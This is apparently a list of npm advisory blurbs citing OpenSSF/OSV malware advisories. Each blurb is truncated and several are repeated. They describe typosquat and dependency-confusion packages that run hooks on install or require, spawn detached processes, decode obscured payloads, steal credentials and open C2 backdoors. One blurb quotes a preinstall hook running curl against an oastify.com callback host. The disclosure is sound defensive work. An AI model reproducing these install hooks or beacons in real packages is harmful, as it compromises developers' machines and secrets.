npm advisory reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-6973 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com` on...

OpenSSF/OSV malware advisory MAL-2026-6956 blocks this version. rio-design-tokens@99.99.100 is a dependency-confusion attack package. package.json declares `preinstall: node index.js`, so...

OpenSSF/OSV malware advisory MAL-2026-10014 blocks this version. The npm package `nodemon-sudo` is a typosquat of the popular `nodemon` package: its `package.json` description ("Simple mo...

OpenSSF/OSV malware advisory MAL-2026-10048 blocks this version. On require, the package spawns a detached node child that runs lib/initializeCaller.js. That script decodes a base64-obscu...

OpenSSF/OSV malware advisory MAL-2026-5931 blocks this version. On `npm install`, mci-sdk runs the postinstall hook `node./src/exec.js`, which imports `mci` from `src/core/index.js` and i...

OpenSSF/OSV malware advisory MAL-2026-10051 blocks this version. On require('chai-deflect'), index.js top-level invokes launchDeflectBootstrap() which detaches a child process running lib...

OpenSSF/OSV malware advisory MAL-2026-10051 blocks this version. On require('chai-deflect'), index.js top-level invokes launchDeflectBootstrap() which detaches a child process running lib...

OpenSSF/OSV malware advisory MAL-2026-10066 blocks this version. The package's bin entry (`retrieval-diagnostics`) installs an attacker-controlled persistence footprint on the host when i...

OpenSSF/OSV malware advisory MAL-2026-10054 blocks this version. The package presents a pino-like logger API but its exported middleware spawns a detached `node` child process running lib...

OpenSSF/OSV malware advisory MAL-2026-6981 blocks this version. paperclip-adapter-helpers@1.0.7 executes a credential-theft and C2 backdoor automatically on import. The package's main re-...

OpenSSF/OSV malware advisory MAL-2026-6981 blocks this version. paperclip-adapter-helpers@1.0.7 executes a credential-theft and C2 backdoor automatically on import. The package's main re-...

OpenSSF/OSV malware advisory MAL-2026-6981 blocks this version. paperclip-adapter-helpers@1.0.7 executes a credential-theft and C2 backdoor automatically on import. The package's main re-...

OpenSSF/OSV malware advisory MAL-2026-6981 blocks this version. paperclip-adapter-helpers@1.0.7 executes a credential-theft and C2 backdoor automatically on import. The package's main re-...

OpenSSF/OSV malware advisory MAL-2026-6981 blocks this version. paperclip-adapter-helpers@1.0.7 executes a credential-theft and C2 backdoor automatically on import. The package's main re-...

OpenSSF/OSV malware advisory MAL-2026-6969 blocks this version. vite-json-pwa@1.1.1 impersonates the legitimate vite-plugin-pwa package (author metadata claims 'inna voik' while funding/h...

OpenSSF/OSV malware advisory MAL-2026-10053 blocks this version. chai-secure masquerades as a Chai plugin offering JWT/XSS/SQLi assertion helpers, but on every require()/import of the pac...

OpenSSF/OSV malware advisory MAL-2026-10053 blocks this version. chai-secure masquerades as a Chai plugin offering JWT/XSS/SQLi assertion helpers, but on every require()/import of the pac...

OpenSSF/OSV malware advisory MAL-2026-5994 blocks this version. The package impersonates the pino logger (README titled 'chai-mocks', badges linking to pinojs/pino, module export named `p...

OpenSSF/OSV malware advisory MAL-2026-5581 blocks this version. Package impersonates the webpack ecosystem but is unrelated to webpack. When the exported middleware is invoked, index.js s...

OpenSSF/OSV malware advisory MAL-2026-6995 blocks this version. chai-redirection presents itself as a chai assertion plugin but its main entry (index.js) unconditionally spawns a detached...